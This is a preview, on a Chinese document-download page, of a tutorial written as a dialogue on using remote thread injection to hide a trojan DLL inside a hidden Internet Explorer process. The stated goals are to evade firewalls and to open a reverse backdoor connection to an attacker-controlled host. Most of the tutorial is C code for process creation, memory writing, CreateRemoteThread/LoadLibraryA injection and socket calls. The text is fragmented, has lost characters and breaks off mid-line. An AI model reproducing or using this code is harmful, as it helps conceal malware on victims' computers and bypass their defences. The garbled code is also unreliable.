ImageVerifierCode 换一换
格式:DOCX , 页数:15 ,大小:30.69KB ,
资源ID:12956120      下载积分:3 金币
快捷下载
登录下载
邮箱/手机:
温馨提示:
快捷下载时,用户名和密码都是您填写的邮箱或者手机号,方便查询和重复下载(系统自动生成)。 如填写123,账号就是123,密码也是123。
特别说明:
请自助下载,系统不会自动发送文件的哦; 如果您已付费,想二次下载,请登录后访问:我的下载记录
支付方式: 支付宝    微信支付   
验证码:   换一换

加入VIP,免费下载
 

温馨提示:由于个人手机设置不同,如果发现不能下载,请复制以下地址【https://www.bdocx.com/down/12956120.html】到电脑端继续下载(重复下载不扣费)。

已注册用户请登录:
账号:
密码:
验证码:   换一换
  忘记密码?
三方登录: 微信登录   QQ登录  

下载须知

1: 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。
2: 试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓。
3: 文件的所有权益归上传用户所有。
4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
5. 本站仅提供交流平台,并不能对任何下载内容负责。
6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

版权提示 | 免责声明

本文(线程插入技术详解Word文档下载推荐.docx)为本站会员(b****1)主动上传,冰豆网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知冰豆网(发送邮件至service@bdocx.com或直接QQ联系客服),我们立即给予删除!

线程插入技术详解Word文档下载推荐.docx

1、远程线程技术是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间,事先把要执行的代码和有关数据写进目标进程,然后创建一个远程线程来让远端进程执行哪些代码。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。但是,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程哦)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。例如在远程进程内部启动一个DL

2、L木马。 “我们为什么要那么麻烦啊?就这样启动一个木马不就行了?”一小菜疑惑问。 “呵呵,我们启动远程线程的目的是可以隐藏木马进程啊!我们把木马插入到一个正常的进程中,那么在用户看来不就是没有木马进程了吗?更重要的一点是可以突破防火墙! “突破防火墙?怎样突破?”小菜又疑惑了。 “大家都安装过防火墙吧? “肯定啦! “那么,当有程序访问Internet时,防火墙是不是都弹出一个询问的窗口来询问是否允许XXX程序访问网络? “对啊! “那就是啦!如果防火墙提示一个你不认识的程序要访问Internet,那你会有什么反应? “那就很有可能是木马或后门啦! “对啊。但如果是IE访问Internet呢?

3、你会不会允许IE访问Internet? “那还用问吗? “就是啊,如果我们把木马的代码插入到IE进程中去,那么当防火墙提示IE访问Internet时,也就是我们木马解放的时候啊!用户只要第一次允许IE访问网络,以后当IE在此访问网络的时候,防火墙就不给予提示啦。那样我们的木马或后门不是就是可以突破防火墙了吗? “哈哈!暗道陈仓,绝! “好,我们现在就来动手写程序啦。我们先看看远程线程的主角CreateRemoteThread(),首先介绍一下我们的主要工具CreateRemoteThread,这里先将函数原型简单介绍以下。CreateRemoteThread可将线程创建在远程进程中。函数原型:

4、HANDLE CreateRemoteThread( HANDLE hProcess, / handle to process LPSECURITY_ATTRIBUTES lpThreadAttributes, / SD SIZE_T dwStackSize, / initial stack size LPTHREAD_START_ROUTINE lpStartAddress, / thread function LPVOID lpParameter, / thread argument DWORD dwCreationFlags, / creation option LPDWORD lpTh

5、readId / thread identifier);参数说明:hProcess 输入 进程句柄lpThreadAttributes 输入 线程安全描述字,指向SECURITY_ATTRIBUTES结构的指针dwStackSize 输入 线程栈大小,以字节表示lpStartAddress 输入 一个LPTHREAD_START_ROUTINE类型的指针,指向在远程进程中执行的函数地址lpParameter 输入 传入参数dwCreationFlags 输入 创建线程的其它标志lpThreadId 输出 线程身份标志,如果为NULL,则不返回返回值成功返回新线程句柄,失败返回NULL,并且可调

6、用GetLastError获得错误值。大家很快可以领略到CreateRemoteThread的神通,它使你的代码可以脱离你的进程,植入到别的进程中运行。大家说,把代码插入到那个进程中突破防火墙最好啊? “那当然是QQ或者IE啦!因为没有人会傻到不允许这两个程序访问网络啊! “嗯,是的!这两个程序都很好。但接下来我们会选择IE。因为通常我们会打开多个IE而不是多个QQ,那样我们启动一个没有窗口的IE再把代码插进去隐藏性就比较好了。 “怎样打开一个没有窗口的IE啊? “要打开一个新的进程,我们利用的是CreateProcess()函数。以下代码实现打开一个IE进程,但窗口被隐藏起来。STARTUP

7、INFO si; /进程启动时需要初始化的结构PROCESS_INFORMATION pi; /进程启动后的有关信息si.cb = sizeof(STARTUPINFO);GetStartupInfo(&si);si.wShowWindow = SW_HIDE;/这里设置窗口为隐藏,SW_SHOW为显示窗口si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;CreateProcess(C:Program FilesInternet ExplorerIEXPLORE.EXE,NULL,NULL,NULL,TRUE,NULL,NULL,

8、NULL,&si,&pi);“当然, 不是所有的系统都安装在C盘的,要确保我们能够打开一个隐藏窗口的IE进程,我们可以利用下面的代码:char syspath256;GetSystemDirectory(syspath,256);strcat(syspath,.Program FilesInternet ExplorerIEXPLORE.EXECreateProcess(syspath,NULL,NULL,NULL,TRUE,NULL,NULL,NULL,&“首先,我们利用GetSystemDirectory()函数取得系统目录,例如系统安装在D盘,则为D:WINNTsystem32,“.”标

9、示上一层目录,那么“D:WINNTsystem32. Program FilesInternet ExplorerIEXPLORE.EXE”实际上就是“D: Program FilesInternet ExplorerIEXPLORE.EXE”了,那么我们就可以保证IE路径的正确性。“IE进程启动后,我们需要得到它的进程的PID以便把数据写进IE进程。在系统创建进程时,进程的pid保存在PROCESS_INFORMATION结构中。我们可以利用pi.dwProcessId得到IE进程的PID。接下来就要把有关代码写进目标进程了:GetCurrentDirectory(MAX_PATH,pszl

10、ibfilename); /得到当前的目录路径if(pszlibfilenamestrlen(pszlibfilename)-1!=) /判断是否为根目录 strcat(pszlibfilename,Trojan.dllelseTrojan.dll /连接要插入的动态连接库的文件名(这里是Trojan.dll)SetPrivilege();/提升权限/获得目标进程句柄HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);cb =(1 + lstrlenA(pszlibfilename) * sizeof(char);/在目标进程中配

11、变量地址空间,并且设定为可以读写PAGE_READWRITEchar *pszLibFileRemote = (char *)VirtualAllocEx(hProcess, NULL,cb, MEM_COMMIT, PAGE_READWRITE);/写内容到目标进程中分配的变量空间WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID)pszlibfilename, cb, NULL);PTHREAD_START_ROUTINE pfnStartAddr;/kernel.dll中取得LoadLibraryA地址pfnStartAddr=(P

12、THREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(Kernel32),LoadLibraryA/创建远程线程HANDLE hThread=CreateRemoteThread( hProcess, NULL, 0, pfnStartAddr,pszLibFileRemote, 0, NULL);WaitForSingleObject(hThread,INFINITE);/等待函数CloseHandle(hThread);VirtualFreeEx(hProcess,pszLibFileRemote,0,MEM_RELEASE);/释放刚才分

13、配的远程进程的内存CloseHandle(hProcess);“上面是把我们的dll插入到远程进程的exe程序的代码。我们这个exe程序只是负责把dll插入到目标进程,而要实现木马或后门功能的则是我们接下来要介绍的dll文件。这里只给大家简单的演示如何穿透防火墙,所以要实现的功能还是比较简单的。首先又来给大家介绍下原理吧。我们可以把dll后门插入到某个进程中,而这个进程是防火墙允许让外部用户连接的。但由于大多数防火墙是禁止了由外部发起的连接,所以我们就要利用反弹端口,也就是内部向外部连接,这就是为什么我们要把dll后门插入到IE的原因。我们利用远程线程把代码插入到防火墙允许访问网络的应用程序中

14、,然后由这个程序来访问网络而完成远程控制。“你的意思是说利用反弹端口吗?我们如何获得客户端的IP地址呢?“我们可以读取一个免费空间的一个指定页面,里面包含客户端的IP地址。因为是IE来进行访问,当然防火墙不会做出提示。我们可以利用下面的代码来获取指定网页:char *request=”GET /ip.htm”; /广外男生默认的生成页面 char buffer2000;destSockAddr.sin_family = AF_INET;destSockAddr.sin_port=htons(80); deskSocketAddr.Sin_Addr.S_Addr= inet_addr(DEST_IP_ADDR); / DEST_IP_ADDR为你的免费空间IPdestSocket=socket(AF_INET,SOCK_STREAM,0);connect(destSocket,(LPSOCKADDR)&destSockAddr,sizeof(destSockAddr);send(destSocket,request,strlen(request)+1,0);recv(d

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1